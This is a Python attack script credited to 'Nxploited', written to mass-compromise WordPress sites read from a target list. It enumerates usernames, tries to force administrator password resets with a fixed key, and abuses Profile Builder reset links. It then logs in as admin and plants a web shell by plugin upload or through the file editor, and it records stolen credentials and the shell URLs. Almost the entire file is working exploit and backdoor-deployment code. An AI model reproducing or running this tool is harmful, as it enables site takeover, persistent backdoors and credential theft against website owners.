#!/usr/bin/env python3 #By: Nxploited # -*- coding: utf-8 -*- import os import re import sys import time import random from concurrent.futures import ThreadPoolExecutor, as_completed from typing import Optional, List, Set, Tuple from urllib.parse import urlparse, urlparse as parse_url, parse_qs import requests import urllib3 from rich.console import Console from rich.panel import Panel from rich.theme import Theme from colorama import init as colorama_init # type: ignore urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings() colorama_init(autoreset=True) # ------------------------ Rich console ------------------------ theme = Theme( { "info": "cyan", "ok": "bold green", "warn": "bold yellow", "err": "bold red", "host": "bold magenta", "label": "bold white", "dim": "dim", } ) console = Console(theme=theme) # ------------------------ Banner ------------------------- BANNER_ASCII = r""" ____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____ / _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \ | / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \| | \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/| \____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/ """ def print_banner() -> None: os.system("cls" if os.name == "nt" else "clear") banner_panel = Panel.fit( BANNER_ASCII.strip("\n"), title="[ok]WP Reset & Strict Access Assistant[/ok]", subtitle="High-signal • Silent • Precise", border_style="magenta", padding=(1, 2), ) console.print(banner_panel) console.print( Panel( "[label]By: [bold]Nxploited[/bold] | GitHub: " "[link=https://github.com/Nxploited]github.com/Nxploited[/link] | " "Telegram: [bold blue]@KNxploited[/bold blue][/label]", border_style="cyan", ) ) console.print() def format_site_status( base: str, key_status_core: str, reset_status_core: str, access_core: str, key_status_pb: str, reset_status_pb: str, access_pb: str, shell_status: str, ) -> None: login_url = base.rstrip("/") + "/wp-login.php" line = ( f"[host]{base}[/host] " f"[label]CORE:[/label] KEY={key_status_core:<4}, RESET={reset_status_core:<4}, ACCESS={access_core:<3} | " f"[label]PB:[/label] KEY={key_status_pb:<4}, RESET={reset_status_pb:<4}, ACCESS={access_pb:<3} | " f"[label]SHELL:[/label] {shell_status:<8} | " f"[label]LOGIN:[/label] {login_url}" ) if shell_status == "OK": style = "ok" elif access_core != "0" or access_pb != "0": style = "ok" elif key_status_core == "FAIL" and key_status_pb == "FAIL": style = "err" else: style = "warn" console.print(line, style=style) def log_note(msg: str) -> None: console.print(f"[*] {msg}", style="info") def log_warn(msg: str) -> None: console.print(f"[!] {msg}", style="warn") def log_err(msg: str) -> None: console.print(f"[x] {msg}", style="err") def log_done(msg: str) -> None: console.print(f"[+] {msg}", style="ok") # -------------------------------------------------------- # Helpers: URLs / Sessions / User-Agent # -------------------------------------------------------- USER_AGENTS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0', ] def get_random_user_agent() -> str: return random.choice(USER_AGENTS) def split_wp_base(url: str) -> Tuple[str, str]: url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url parsed = urlparse(url) base_host = f"{parsed.scheme}://{parsed.netloc}" path = parsed.path or "/" if path == "/": return base_host, "" return base_host, path.rstrip("/") def build_wp_url(base_host: str, wp_base: str, path: str) -> str: if not path.startswith("/"): path = "/" + path full = (wp_base + path).replace("//", "/") return base_host + full def build_session(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.headers.update({ "User-Agent": get_random_user_agent(), "Accept": ( "text/html,application/xhtml+xml,application/xml;q=0.9," "image/avif,image/webp,image/apng,*/*;q=0.8" ), "Accept-Language": "en-US,en;q=0.9", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", }) adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1) s.mount("http://", adapter) s.mount("https://", adapter) return s def get_wp_base_path(login_path: str) -> str: if login_path == "/wp-login.php": return "" return login_path.replace("/wp-login.php", "") # -------------------------------------------------------- # Username enumeration (كما في نسختك السابقة) # -------------------------------------------------------- AUTHOR_PATTERN = re.compile(r"/author/([^/]+)") AUTHOR_BODY_PATTERNS = [ re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I), re.compile(r"/author/([a-z0-9_\-]+)/", re.I), re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I), re.compile(r'"username":"([a-z0-9_\-]+)"', re.I), ] def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]: users: Set[str] = set() for i in range(1, max_i + 1): try: u = f"{root_url}/?author={i}" r = sess.get(u, timeout=timeout, allow_redirects=False) if r.status_code in (301, 302): loc = r.headers.get("location", "") or r.headers.get("Location", "") m = AUTHOR_PATTERN.search(loc) if m: users.add(m.group(1)) r2 = sess.get(u, timeout=timeout, allow_redirects=True) if r2.status_code == 200 and r2.text: body = r2.text for patt in AUTHOR_BODY_PATTERNS: for x in patt.findall(body): users.add(x) except Exception: continue return users def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]: users: Set[str] = set() api = root_url.rstrip("/") + "/wp-json/wp/v2/users" try: r = sess.get(api, timeout=timeout) except Exception: return users if r.status_code != 200: return users try: data = r.json() except Exception: return users if isinstance(data, list): for entry in data: if isinstance(entry, dict): for key in ("slug", "username", "name"): v = entry.get(key) if v: users.add(str(v)) return users def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]: sess = build_session(timeout) root = build_wp_url(base_host, wp_base, "/") users: Set[str] = set() users.update(enum_by_author(sess, root, timeout, max_i=10)) users.update(enum_by_rest(sess, root, timeout)) parsed = urlparse(root) host = parsed.netloc.split(":")[0].lower() if host.startswith("www."): host = host[4:] first_label = host.split(".")[0] if first_label and len(first_label) > 2: users.add(first_label) users.add("admin") users = {u for u in users if u and 2 < len(u) < 50} if not users: users = {"admin"} return sorted(users) # -------------------------------------------------------- # Strict admin access verification + login # -------------------------------------------------------- def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool: admin_paths = [ "/wp-admin/index.php", "/wp-admin/profile.php", "/wp-admin/edit.php", "/wp-admin/plugins.php", "/wp-admin/users.php", ] markers = [ 'id="adminmenu"', 'id="wpadminbar"', '
', 'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"', "users.php", "plugins.php", "edit.php", ] deny = [ "sorry, you are not allowed to access this page", "you do not have sufficient permissions", "insufficient permissions", ] ok_pages = 0 for ep in admin_paths: u = root_url.rstrip("/") + ep try: r = sess.get(u, timeout=timeout, allow_redirects=True) except Exception: continue if r.status_code != 200: continue if "wp-login.php" in (r.url or ""): return False content = r.text or "" low = content.lower() if any(d in low for d in deny): return False found = sum(1 for m in markers if m in content) if found >= 3: ok_pages += 1 if ok_pages >= 2: return True try: r2 = sess.get(root_url.rstrip("/") + "/wp-admin/plugin-install.php", timeout=timeout, allow_redirects=True) if r2.status_code == 200: low2 = (r2.text or "").lower() if any(d in low2 for d in deny): return False if "upload-plugin" in low2 or "plugin-install-tab" in low2: return True except Exception: pass return ok_pages >= 1 def strict_login_attempt( sess: requests.Session, base_host: str, wp_base: str, login_path: str, username: str, password: str, timeout: int, ) -> bool: root_site = build_wp_url(base_host, wp_base, "/") login_url = build_wp_url(base_host, wp_base, login_path) try: sess.get(login_url, timeout=timeout, allow_redirects=True) except Exception: pass data = { "log": username.strip(), "pwd": password, "wp-submit": "Log In", "testcookie": "1", } headers = { "User-Agent": sess.headers.get("User-Agent", ""), "Content-Type": "application/x-www-form-urlencoded", "Referer": login_url, } try: r = sess.post( login_url, data=data, headers=headers, timeout=timeout, allow_redirects=True, ) except Exception: return False content = (r.text or "").lower() fails = [ "incorrect username or password", "invalid username", "invalid password", "error: the username", "is not registered", "authentication failed", "login failed", "unknown username", ] if any(x in content for x in fails): return False has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies) if not has_cookie: return False if not check_admin_access(sess, root_site, timeout): return False return True def find_wp_login_path(sess: requests.Session, base_host: str, wp_base: str, timeout: int) -> str: paths = [ "/wp-login.php", "/wordpress/wp-login.php", "/wp/wp-login.php", "/blog/wp-login.php", "/cms/wp-login.php", "/wp/login.php", ] for p in paths: url = build_wp_url(base_host, wp_base, p) try: r = sess.get(url, timeout=timeout, allow_redirects=True) except Exception: continue txt = r.text or "" if r.status_code == 200 and " Optional[bytes]: try: script_dir = os.path.dirname(os.path.abspath(__file__)) zip_path = os.path.join(script_dir, "Nxploited.zip") if not os.path.exists(zip_path): log_warn("Nxploited.zip not found in script directory, skipping shell upload.") return None with open(zip_path, "rb") as f: return f.read() except Exception as e: log_err(f"Error loading Nxploited.zip: {e}") return None def build_shell_url(base_url: str, wp_base_path: str) -> str: base = base_url.rstrip("/") path = wp_base_path.rstrip("/") if wp_base_path else "" if path: return f"{base}{path}/wp-content/plugins/Nxploited/Nx.php" return f"{base}/wp-content/plugins/Nxploited/Nx.php" def write_shell_path(shells_output: str, url: str, username: str, password: str, shell_url: str): ts = time.strftime("%Y-%m-%d %H:%M:%S") with open(shells_output, "a", encoding="utf-8") as f: f.write(f"[{ts}] {url} - {username}:{password} - SHELL: {shell_url}\n") def upload_nxploited_plugin_sync( session: requests.Session, base_url: str, login_path: str, username: str, password: str, timeout: int, shells_output: str, ) -> bool: """ بعد تحقق تسجيل الدخول كأدمن: - يحاول رفع Nxploited.zip كبلوجن. - أو إنشاء Nxploited/Nx.php عبر المحرر. - يتحقق من أن Nx.php يعمل، ثم يسجّل في shells.txt. """ plugin_zip_data = load_nxploited_zip() if not plugin_zip_data: return False wp_base_path = get_wp_base_path(login_path) login_url = f"{base_url}{login_path}" try: # تأكد من الجلسة headers = {'User-Agent': get_random_user_agent()} session.get(login_url, timeout=timeout, verify=False, headers=headers) login_data = { 'log': username.strip(), 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } headers = { 'User-Agent': get_random_user_agent(), 'Cookie': 'wordpress_test_cookie=WP Cookie check', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': login_url } session.post( login_url, data=login_data, headers=headers, timeout=timeout, verify=False, allow_redirects=True, ) # طريقة 1: رفع من plugin-install upload_url = f"{base_url}{wp_base_path}/wp-admin/plugin-install.php?tab=upload" try: upload_page = session.get(upload_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()}) if upload_page.status_code == 200: nonce_match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', upload_page.text) if nonce_match: nonce = nonce_match.group(1) files = { 'pluginzip': ('Nxploited.zip', plugin_zip_data, 'application/zip') } form_data = { '_wpnonce': nonce, '_wp_http_referer': f'{wp_base_path}/wp-admin/plugin-install.php?tab=upload', 'install-plugin-submit': 'Install Now' } upload_endpoint = f"{base_url}{wp_base_path}/wp-admin/update.php?action=upload-plugin" upload_response = session.post( upload_endpoint, data=form_data, files=files, timeout=timeout, verify=False, allow_redirects=True, ) if upload_response.status_code == 200 and ('Plugin installed successfully' in upload_response.text or 'successfully' in upload_response.text.lower()): shell_url = build_shell_url(base_url, wp_base_path) test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()}) if test_r.status_code == 200: log_done(f"SHELL DEPLOYED (Upload): {shell_url}") write_shell_path(shells_output, base_url, username, password, shell_url) return True except Exception: pass # طريقة 2: REST API upload (إن وجدت) try: rest_upload_url = f"{base_url}{wp_base_path}/wp-json/wp/v2/plugins" headers_rest = { 'User-Agent': get_random_user_agent(), 'Content-Type': 'application/zip', 'Content-Disposition': 'attachment; filename=\"Nxploited.zip\"' } rest_resp = session.post( rest_upload_url, data=plugin_zip_data, headers=headers_rest, timeout=timeout, verify=False, ) if rest_resp.status_code in (200, 201): shell_url = build_shell_url(base_url, wp_base_path) test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()}) if test_r.status_code == 200: log_done(f"SHELL DEPLOYED (REST): {shell_url}") write_shell_path(shells_output, base_url, username, password, shell_url) return True except Exception: pass # طريقة 3: plugin/theme editor لكتابة Nxploited/Nx.php shell_php_code = """""" file_manager_urls = [ f"{base_url}{wp_base_path}/wp-admin/plugin-editor.php", f"{base_url}{wp_base_path}/wp-admin/theme-editor.php" ] for fm_url in file_manager_urls: try: fm_resp = session.get(fm_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()}) if fm_resp.status_code == 200 and 'wp-login.php' not in fm_resp.url: fm_text = fm_resp.text nonce_match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', fm_text) if nonce_match: nonce = nonce_match.group(1) create_data = { '_wpnonce': nonce, 'action': 'edit-theme-plugin-file', 'file': '../plugins/Nxploited/Nx.php', 'newcontent': shell_php_code, 'docs-list': '', 'submit': 'Update File' } c_resp = session.post( fm_url, data=create_data, timeout=timeout, verify=False, allow_redirects=True, ) if c_resp.status_code == 200: shell_url = build_shell_url(base_url, wp_base_path) test_r = session.get(shell_url, timeout=timeout, verify=False, headers={'User-Agent': get_random_user_agent()}) if test_r.status_code == 200: log_done(f"SHELL DEPLOYED (Editor): {shell_url}") write_shell_path(shells_output, base_url, username, password, shell_url) return True except Exception: continue except Exception as e: log_err(f"Error in Nxploited upload: {e}") return False # -------------------------------------------------------- # CORE: brute_with_single_password + reset flow # -------------------------------------------------------- def brute_with_single_password( base_host: str, wp_base: str, usernames: List[str], password: str, timeout: int, output_file: str, shells_output: str, ) -> Tuple[int, bool]: hits = 0 shell_ok = False sess0 = build_session(timeout) login_path = find_wp_login_path(sess0, base_host, wp_base, timeout) site_url = f"{base_host}{wp_base or ''}" login_url = site_url.rstrip("/") + "/wp-login.php" for username in usernames: sess_user = build_session(timeout) if strict_login_attempt(sess_user, base_host, wp_base, login_path, username, password, timeout): ts = time.strftime("%Y-%m-%dT%H:%M:%S") line = ( f"[{ts}] {site_url} | {login_url} | " f"account={username} pass={password}\n" ) os.makedirs(os.path.dirname(output_file), exist_ok=True) with open(output_file, "a", encoding="utf-8") as f: f.write(line) hits += 1 # هنا استغلال دخول أدمن → ارفع Nxploited.zip if not shell_ok: ok = upload_nxploited_plugin_sync( sess_user, base_host, login_path, username, password, timeout, shells_output, ) if ok: shell_ok = True return hits, shell_ok def trigger_wp_reset_flow_core( sess: requests.Session, base_host: str, wp_base: str, username: str, new_password: str, timeout: int, ) -> bool: root = build_wp_url(base_host, wp_base, "/") lost_url = root.rstrip("/") + "/wp-login.php?action=lostpassword" malicious_key = "hackedresetkey" data1 = { "user_login": username, "user_pass": malicious_key, "wp-submit": "Get New Password", } try: r1 = sess.post( lost_url, data=data1, timeout=timeout, allow_redirects=True, verify=False, ) except Exception: return False if r1.status_code not in (200, 302): return False rp_url = root.rstrip("/") + f"/wp-login.php?action=rp&key={malicious_key}&login={username}" try: r2 = sess.get(rp_url, timeout=timeout, allow_redirects=True, verify=False) except Exception: return False if r2.status_code not in (200, 302): return False reset_url = root.rstrip("/") + "/wp-login.php?action=resetpass" data3 = { "pass1": new_password, "pass2": new_password, "pw_weak": "on", "rp_key": malicious_key, "wp-submit": "Save Password", } try: r3 = sess.post( reset_url, data=data3, timeout=timeout, allow_redirects=True, verify=False, ) except Exception: return False if r3.status_code != 200: return False return True # -------------------------------------------------------- # Profile Builder reset-from-link + strict login + upload # -------------------------------------------------------- def parse_pb_reset_link(url: str) -> Optional[Tuple[str, str, str]]: try: parsed = parse_url(url) qs = parse_qs(parsed.query) key = qs.get("key", [None])[0] login = qs.get("login", [None])[0] base_url = f"{parsed.scheme}://{parsed.netloc}" if not key or not login: return None return base_url, key, login except Exception: return None def fetch_pb_recover_form2( sess: requests.Session, reset_url: str, timeout: int, ) -> Optional[str]: try: r = sess.get(reset_url, timeout=timeout, allow_redirects=True, verify=False) except Exception: return None if r.status_code != 200: return None return r.text or "" def extract_pb_nonce_and_user( body: str, ) -> Tuple[Optional[str], Optional[str]]: nonce = None user_data = None m = re.search( r'name="password_recovery_nonce_field2"\s+value="([^"]+)"', body, re.I, ) if m: nonce = m.group(1) m2 = re.search( r'name="userData"\s+value="([^"]+)"', body, re.I, ) if m2: user_data = m2.group(1) return nonce, user_data def trigger_pb_reset_from_link( sess: requests.Session, reset_url: str, new_password: str, timeout: int, ) -> Tuple[bool, Optional[str]]: body = fetch_pb_recover_form2(sess, reset_url, timeout) if not body: return False, None nonce2, user_data = extract_pb_nonce_and_user(body) if not nonce2 or not user_data: return False, None parsed = parse_url(reset_url) qs = parse_qs(parsed.query) key = qs.get("key", [None])[0] login = qs.get("login", [None])[0] if not key or not login: return False, None post_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" data = { "action2": "recover_password2", "password_recovery_nonce_field2": nonce2, "userData": user_data, "key": key, "login": login, "passw1": new_password, "passw2": new_password, } try: r = sess.post( post_url, data=data, timeout=timeout, allow_redirects=True, verify=False, ) except Exception: return False, None low = (r.text or "").lower() if "your password has been successfully changed" in low: return True, login if "invalid key" in low: return False, login return False, login def strict_login_single( base_url: str, wp_base: str, username: str, password: str, timeout: int, ) -> Tuple[bool, requests.Session, str]: sess0 = build_session(timeout) login_path = find_wp_login_path(sess0, base_url, wp_base, timeout) sess_user = build_session(timeout) ok = strict_login_attempt(sess_user, base_url, wp_base, login_path, username, password, timeout) return ok, sess_user, login_path def load_pb_links_file(pb_links_file: str) -> List[str]: links: List[str] = [] if not os.path.exists(pb_links_file): return links with open(pb_links_file, "r", encoding="utf-8", errors="ignore") as f: for line in f: line = line.strip() if line: links.append(line) return links def process_pb_links_for_site( base_host: str, wp_base: str, pb_links: List[str], new_pass: str, timeout: int, shells_output: str, ) -> Tuple[str, str, str, bool]: key_pb = "----" reset_pb = "----" access_pb = "0" shell_ok = False hits = 0 host = urlparse(base_host).netloc site_links = [u for u in pb_links if urlparse(u).netloc == host] if not site_links: return key_pb, reset_pb, access_pb, shell_ok for reset_url in site_links: sess = build_session(timeout) ok_reset, login_user = trigger_pb_reset_from_link( sess, reset_url, new_pass, timeout ) if not ok_reset or not login_user: continue ok_login, sess_user, login_path = strict_login_single( base_host, wp_base, login_user, new_pass, timeout ) if ok_login: hits += 1 if not shell_ok: ok_shell = upload_nxploited_plugin_sync( sess_user, base_host, login_path, login_user, new_pass, timeout, shells_output, ) if ok_shell: shell_ok = True if hits > 0: key_pb = "OK" reset_pb = "OK" access_pb = str(hits) else: key_pb = "FAIL" reset_pb = "FAIL" access_pb = "0" return key_pb, reset_pb, access_pb, shell_ok # -------------------------------------------------------- # Orchestration per target # -------------------------------------------------------- def process_target( site: str, new_pass: str, timeout: int, output_core: str, pb_links: List[str], shells_output: str, ) -> None: base_host, wp_base = split_wp_base(site) label = f"{base_host}{wp_base or ''}" key_core = "----" reset_core = "----" access_core = "0" key_pb = "----" reset_pb = "----" access_pb = "0" shell_ok_core = False shell_ok_pb = False sess = build_session(timeout) # CORE reset_user_core = "admin" ok_flow_core = trigger_wp_reset_flow_core( sess, base_host, wp_base, reset_user_core, new_pass, timeout ) if ok_flow_core: key_core = "OK" reset_core = "OK" users = collect_candidates(base_host, wp_base, timeout) hits_core, shell_ok_core = brute_with_single_password( base_host, wp_base, users, new_pass, timeout, output_core, shells_output, ) access_core = str(hits_core) else: key_core = "FAIL" reset_core = "FAIL" access_core = "0" # PB if pb_links: key_pb, reset_pb, access_pb, shell_ok_pb = process_pb_links_for_site( base_host, wp_base, pb_links, new_pass, timeout, shells_output, ) shell_status = "OK" if (shell_ok_core or shell_ok_pb) else "--" format_site_status( label, key_core, reset_core, access_core, key_pb, reset_pb, access_pb, shell_status, ) # -------------------------------------------------------- # Interactive runner # -------------------------------------------------------- def ask(prompt: str, default: Optional[str] = None) -> str: if default is not None: s = input(f"{prompt} [{default}]: ").strip() return s if s else default return input(f"{prompt}: ").strip() def ask_int(prompt: str, default: int) -> int: s = ask(prompt, str(default)) try: return int(s) except Exception: return default def run_interactive() -> None: print_banner() url_list_file = ask("Targets list file (one URL per line)") if not os.path.exists(url_list_file): log_err(f"Targets file not found: {url_list_file}") sys.exit(1) threads = ask_int("Threads (concurrent sites)", 5) new_pass = "Nxploited_adminSA" log_note(f"Using reset/login password: {new_pass}") timeout = ask_int("HTTP timeout (seconds)", 10) output_core = ask( "Output file for core wp-login reset successes", "scan_results/wp_login_reset_success.txt", ) shells_output = ask( "Output file for Nxploited shells", "scan_results/shells.txt", ) pb_links_file = ask( "Profile Builder reset links file (optional, one URL per line)", "pb_reset_links.txt", ).strip() pb_links: List[str] = [] if os.path.exists(pb_links_file): pb_links = load_pb_links_file(pb_links_file) log_note(f"Loaded {len(pb_links)} PB reset links from {pb_links_file}") else: log_warn(f"PB reset links file not found: {pb_links_file} (PB exploit will be limited)") targets: List[str] = [] with open(url_list_file, "r", encoding="utf-8", errors="ignore") as f: for line in f: line = line.strip() if line: targets.append(line) if not targets: log_err("Targets file is empty.") sys.exit(1) log_note(f"Loaded {len(targets)} targets.") log_note("Exploitation: core wp-login reset + optional Profile Builder reset-from-link, both with strict admin login & Nxploited shell upload.") console.print() os.makedirs(os.path.dirname(output_core), exist_ok=True) os.makedirs(os.path.dirname(shells_output), exist_ok=True) start = time.time() with ThreadPoolExecutor(max_workers=threads) as executor: futures = { executor.submit( process_target, site, new_pass, timeout, output_core, pb_links, shells_output, ): site for site in targets } try: for future in as_completed(futures): _ = futures[future] except KeyboardInterrupt: log_warn("Interrupted by user, shutting down threads...") executor.shutdown(wait=False, cancel_futures=True) sys.exit(1) elapsed = time.time() - start console.print() log_done(f"Finished in {elapsed:.2f}s") log_done(f"Core wp-login results written to: {output_core}") log_done(f"Shell paths written to: {shells_output}") if __name__ == "__main__": run_interactive()